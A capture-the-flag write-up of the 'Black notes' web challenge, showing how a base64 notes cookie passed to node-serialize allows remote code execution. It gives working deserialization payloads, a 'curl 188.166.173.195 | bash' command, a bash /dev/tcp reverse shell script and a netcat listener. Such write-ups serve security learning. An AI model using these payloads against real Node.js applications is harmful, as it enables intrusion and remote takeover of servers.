Black notes

Difficulty
Medium
Points
250
Description
We created this website for hackers to save thier payloads and notes in a secure way
Quick Analysis
After registration, the endpoint register return notes cookie, which is a base64 eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= and redirect to /notes endpoint. The endpoint /notes rendered the registered username and Sample Note.
Analyzing the notes endpoint and cookie
Decode the cookie value of notes eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= using Base64 algorithm.
from base64 import b64encode, b64decode
​
notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()
'{"notes":{"0":"Sample Note"}}'
The JSON object contains notes that are parsed and returned in the endpoint /notes.
Unhandeled Exception
What if the JSON object is unparsable.
payload = b'{"notes":{"0":"Sample Note"},}'
b64encode(payload).decode()
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifSx9'
Change the cookie value of notes then, reload the endpoint /notes.
SyntaxError: Unexpected token O in JSON at position 29
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)
From the exception, the endpoint /notes uses node-serialize to unserialize the object.
Exploitation
I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example [1].
Proof of concept
Since the endpoint /notes render the notes object, craft a function that returns 1; if the application is vulnerable, the endpoint /notes should return 1 on the page.
Payload
payload = b'{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){return 1;}()"}}'
b64encode(payload).decode()
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JldHVybiAxO30oKSJ9fQ=='
Change the cookie value of notes then, reload the endpoint /notes.
After reloading the endpoint /notes, the payload executed and returned 1.
Reverse shell
Run an HTTP server on port 80
python3 -m http.server 80
Create index.html with content
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/188.166.173.195/443 0>&1'
Payload
{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()"}}
The function executes the command curl 188.166.173.195 | bash via exec function.
The command curl 188.166.173.195 | bash requests the index.html content from 188.166.173.195 via curl, then curl pipes the content of index.html to bash.
Start a netcat listener on port 443
nc -lnvp 443
payload = b"{\"notes\":{\"0\":\"Sample Note\",\"1\":\"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()\"}}"
​
b64encode(payload).decode()
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDE4OC4xNjYuMTczLjE5NSB8IGJhc2gnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRpbil7fSk7fSgpIn19'
Change the cookie value of notes then, reload the endpoint /notes to obtain a reverse shell.
The flag
Execute printenv command on the challenge server to get the flag.
FLAG=BlackHatMEA{551:18:d6c3f76447af44a983af790e399a8f87fb8f4693}
References
https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html

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